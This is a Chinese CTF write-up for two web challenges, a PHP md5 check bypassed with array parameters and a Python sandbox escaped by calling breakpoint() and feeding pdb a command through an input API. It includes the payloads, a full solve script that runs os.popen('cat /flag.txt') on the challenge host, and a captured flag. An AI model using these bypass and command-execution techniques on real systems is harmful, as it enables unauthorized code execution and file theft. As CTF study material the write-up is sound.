furryCTF题解|Web方向|ezmd5、猫猫最后的复仇

ezmd5

进入实例之后发现php代码:

php 复制代码
<?php
highlight_file(__FILE__);
error_reporting(0);
$flag_path = '/flag';
if (isset($_POST['user']) && isset($_POST['pass'])) {
    $user = $_POST['user'];
    $pass = $_POST['pass'];
    if ($user !== $pass && md5($user) === md5($pass)) {
        echo "Congratulations! Here is your flag: <br>";
        echo file_get_contents($flag_path);
    } else {
        echo "Wrong! Hacker!";
    }
} else {
    echo "Please provide 'user' and 'pass' via POST.";
}
?> Please provide 'user' and 'pass' via POST.

发现:

php 复制代码
if ($user !== $pass && md5($user) === md5($pass))

这行代码需要userpass原始内容 必须不相等,但是它们的 MD5 哈希值 必须严格全等(类型和值都一样)。

漏洞分析

可以用数组绕过的方式做这道题。

原理: 在 PHP 8.0 之前,如果你给 md5() 函数传入一个 数组 (Array) 而不是字符串:

  1. PHP 无法计算数组的哈希,会报一个 Warning(警告),但不会停止运行

  2. 函数会返回NULL。

如果我们把 user 变成数组 []md5($user) 返回NULLpass 也变成数组 []md5($pass) 也返回NULL。我们需要通过 POST 发送数据,把 userpass 变成数组。

payload:

php 复制代码
user[]=1&pass[]=2

我这里直接用浏览器插件HackBar发送POST请求,发送后即可拿到flag:

本题flag:POFP{723fc88c-cf92-4458-90bc-ae0915a0a5c7}

猫猫最后的复仇

题目介绍:这次猫猫长记性了,把多余的代码给移除了。但是猫猫很不服气,他觉得只要把环境变量清空,你们就不可能拿到flag。为此他甚至升级了一下他的AST分析和黑名单替换,ban掉了import。哼哼唧唧!不信你们还能绕过呜呜呜~

分析题目app.py代码可以发现:程序进行了严格的 AST 检查,对代码进行了递归的字符串替换(把 banned list 里的词删掉)。

黑名单里封禁了 pdb(模块名)、set_trace(方法名)、breakpointhook(钩子名)。

漏洞分析

程序运行起来后,提供了一个 /api/send_input 接口,可以将数据写入进程的 stdin。通过 stdin 输进去的内容,是不经过 AST 检查和黑名单替换的。

并且黑名单没有封禁内置函数:breakpoint()。

攻击步骤

在实例代码输入框中输入:

php 复制代码
breakpoint()

看到网页显示:

确定了breakpoint可以运行,

最后运行解题脚本:

python 复制代码
import requests
import time
import threading
import socketio

TARGET_URL = "http://ctf.furryctf.com:33773"
sio = socketio.Client()
current_pid = None

@sio.event
def output(data):
    msg = data.get('data', '').strip()
    if msg:
        print(msg)

def solve():
    global current_pid
    # 1. 连接SocketIO
    try:
        sio.connect(TARGET_URL)
        threading.Thread(target=sio.wait, daemon=True).start()
    except:
        return

    # 2. 触发PDB调试器
    try:
        res = requests.post(f"{TARGET_URL}/api/run", json={"code": "breakpoint()", "args": ""})
        current_pid = res.json().get('pid')
    except:
        return

    time.sleep(2)

    # 3. 发送Payload读取Flag
    try:
        requests.post(f"{TARGET_URL}/api/send_input", json={
            "pid": current_pid,
            "input": "import os; print(os.popen('cat /flag.txt').read())"
        })
    except:
        return

    time.sleep(5)

    # 清理资源
    if current_pid:
        requests.post(f"{TARGET_URL}/api/terminate", json={"pid": current_pid})
    sio.disconnect()

if __name__ == '__main__':
    solve()

运行后看回显可获得flag:

脚本解析

sio = socketio.Client():创建一个 SocketIO 客户端对象 ------ 用来和服务器建立实时通信连接,接收 flag。

current_pid = None:用来存服务器上的 "进程 ID"(PID)。

@sio.event:给sio对象绑定一个 "监听规则"------ 当服务器有叫output的消息发过来时,自动执行下面的output函数。

def output(data):服务器发过来的消息会存在data里,我们要从中提取内容。

msg = data.get('data', '').strip():从服务器消息里抠出真正的内容,并去掉多余的空格 / 换行

json={"code": "breakpoint()", "args": ""}:提交的代码是breakpoint()------ 这行代码会触发 Python 的 PDB 调试器(相当于让服务器上的 Python 代码 "暂停运行,进入调试模式")。

"input": "import os; print(os.popen('cat /flag.txt').read())":发给调试器的攻击代码,拆解:

import os:导入 Python 的系统操作模块(只有导入这个才能执行系统命令);

os.popen('cat /flag.txt'):执行 Linux 系统命令cat /flag.txt(读取/flag.txt文件的内容);

.read():把命令执行的结果(flag 内容)读出来;

print(...):把 flag 内容打印出来 ------ 服务器会把这个打印的内容通过 SocketIO 推给我们(就是第三部分的output函数接收)。

总结

这个猫猫的复仇我本来想直接在实例里面breakpoint()之后直接执行import os; print(os.popen('cat /flag.txt').read())的,但是我试了几次都不太行,只能用ai的脚本,说实话这种用python发请求的脚本我还不是很懂,特别是python我没有专门学过(),不过用Burpsuite来发包还是更快更好一点,但是我的burpsuite还没有重新装回来......

相关推荐
FreeTinker6 小时前
HTML本地存储技术解析:localStorage与sessionStorage的原理、差异与应用场景
前端·html
qq_452396236 小时前
第十二篇:《全链路监控与可观测性:前端错误追踪与性能分析》
前端
wangruofeng7 小时前
Phosphor Icons 官网源码拆解:URL 即存储、水波动画与 7362 Star 图标库的架构实践
前端·架构·github
BigTopOne7 小时前
WebRTC Native / Android 开发学习资源整理
前端
Best-Wishes8 小时前
好靶场杯第一届-古法 流量包分析
计算机网络·web安全·安全威胁分析
excel8 小时前
nuxt 3 升级 nuxt 4 报错之 hasInjectionContext
前端
何以解忧,唯有..8 小时前
LangChain 工具调用(Tool Calling)实战指南
java·前端·langchain
_祝你今天愉快9 小时前
从驱动来分析服务的添加过程
android
软件聚导航9 小时前
「聚小软 AI 助手」技术升级:从数据库检索到 RAG 知识库问答
前端·数据库·mysql·微信小程序·小程序·ai编程·rag
恋猫de小郭10 小时前
看懂大模型架构术语,帮助你理解目前常见的大模型开源架构
前端·人工智能·ai编程